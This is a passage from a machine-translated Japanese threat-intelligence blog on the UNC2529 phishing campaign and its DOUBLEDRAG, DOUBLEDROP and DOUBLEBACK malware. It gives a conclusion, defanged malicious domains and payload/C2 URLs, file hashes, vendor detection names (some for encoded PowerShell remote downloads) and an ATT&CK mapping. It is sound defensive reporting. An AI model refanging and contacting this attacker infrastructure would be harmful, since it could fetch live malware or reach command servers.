最後に、バックドアはOutputDebugString APIを使用して幾つかのケースでデバッグ情報を出力します。興味深いことに、ログメッセージの形式と生成方法は、公開されているPEGASUSコード(予備的な技術分析:Pegasusマルウェア・ソースコード)で使用されているものと同じです。PEGASUSバックドアは、VAT還付の査定と処理に使用されるロシアの一般的な決済処理ソフトウェアによって生成されるファイルを操作できるモジュールと共に配布されています。標的となるソフトウェアがワークステーション上で実行されると、マルウェアは通常は免除される取引にVATを追加しようとしたり、関連する税金の還付を攻撃者の銀行口座に誘導したりします。

結論

UNC2529は、12月のフィッシング・キャンペーンを実施するためにかなりの人材を投入しました。キャンペーンの様々な段階で約50のドメインがサポートされ、標的が調査されて正規のドメインが侵害されました。UNC2529は、難読化やファイルレス・マルウェアを多用して検出を困難にし、巧妙にコード化された拡張可能なバックドアを提供しました。UNC2529は、有能で専門的な人材を豊富に確保していると評価されています。地理的にも業界的にも広範囲な標的が特定されていることから、金融犯罪が彼らの動機であると考えられます。

DOUBLEBACKは現在も進行中であり、MandiantはUNC2529が世界中のあらゆる業界の被害者を侵害するためにさらなる行動を起こすと予想しています。

技術インジケーター

DOUBLEDRAG / BIFF8

ファイル

MD5

役割

時期

39fc804566d02c35f3f9d67be52bee0d

DOUBLEDRAG

第1波

44f7af834ee7387ac5d99a676a03cfdd

DOUBLEDRAG

第1波

4e5583e34ad54fa7d1617f400281ba56

PDF Decoy

第1波

e80dc4c3e26deddcc44e66bb19b6fb58

PDF Decoy

第1波

169c4d96138d3ff73097c2a9aab5b1c0

Zip

第1波

e70502d020ba707095d46810fd32ee49

Zip

第1波

62fb99dc271abc104504212157a4ba91

Excel BIFF8 macro

第2波

1d3fcb7808495bd403973a0472291da5

PDF Decoy

第2波

6a1da7ee620c638bd494f4e24f6f1ca9

Zip

第2波

a28236b43f014c15f7ad4c2b4daf1490

Zip

第2波

d594b3bce66b8b56881febd38aa075fb

Zip

第2波

ドメイン

2020年12月2日

2020年12月11~18日

adupla[.]net

aibemarle[.]com

ceylonbungalows[.]net

bestwalletforbitcoin[.]com

chandol[.]com

bitcoinsacks[.]com

closetdeal[.]com

digitalagencyleeds[.]com

daldhillon[.]com

erbilmarriott[.]com

desmoncreative[.]com

ethernetpedia[.]com

farmpork[.]com

fileamazon[.]com

gemralph[.]com

gamesaccommodationscotland[.]com

isjustlunch[.]com

greathabibgroup[.]com

logicmyass[.]com

infomarketx[.]com

lottoangels[.]com

jagunconsult[.]com

mangoldsengers[.]com

khodaycontrolsystem[.]com

oconeeveteransmemorial[.]com

maninashop[.]com

scottishhandcraft[.]com

onceprojects[.]com

seathisons[.]com

simcardhosting[.]com

skysatcam[.]com

stayzarentals[.]com

smartnhappy[.]com

touristboardaccommodation[.]com

stepearn[.]com

towncentrehotel[.]com

sugarmummylove[.]com

vacuumcleanerpartsstore[.]com

techooze[.]com

zmrtu[.]com

tigertigerbeads[.]com

 

totallyhealth-wealth[.]com

 

towncenterhotel[.]com

 

uaeworkpermit[.]com

 

DOUBLEDROP

MD5

  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c

URLs

  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat
DOUBLEBACK

MD5

  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337

URLs

  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php

検知

FireEyeは、当社のプラットフォーム全体でこの活動を検出しています。以下は、脆弱性の悪用または悪用後の活動の指標としてUNC2529に関連付けられている具体的な検知名称です。

プラットフォーム

検知名称

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)

  • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • MALICIOUS SCRIPT CONTENT A (METHODOLOGY)
  • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)

Malware Protection (AV/MG)

  • Generic.mg.1aeecb2827babb42
  • Generic.mg.1bdf780ea6ff3abe
  • Generic.mg.1f285e496096168f
  • Generic.mg.6a3a0d3d239f04ff
  • Generic.mg.ce02ef6efe6171cd
  • Generic.mg.fa9e686b811a1d92
  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529MITRE ATT&CKマッピング

ATT&CK戦術カテゴリー

技術

Resource Development

Initial Access

Execution

Privilege Escalation

Defense Evasion

Discovery

Collection

Command and Control

謝辞

Tyler McLellan、Dominik Weber、Michael Durakovich、およびJeremy Kennellyによる本コンテンツの技術的なレビューに感謝いたします。また、Nico Paulo Yturriaga、Evan Reeseには素晴らしいシグネチャの作成を、Ana Foremanには図表作成のサポートをいただき、感謝します。

 

本ブログは機械翻訳(MT)を使用して翻訳しています。原文と翻訳版の意味、文言が異なる場合は原文を有効とします。

原文:May 4, 2021 「The UNC2529 Triple Double: A Trifecta Phishing Campaign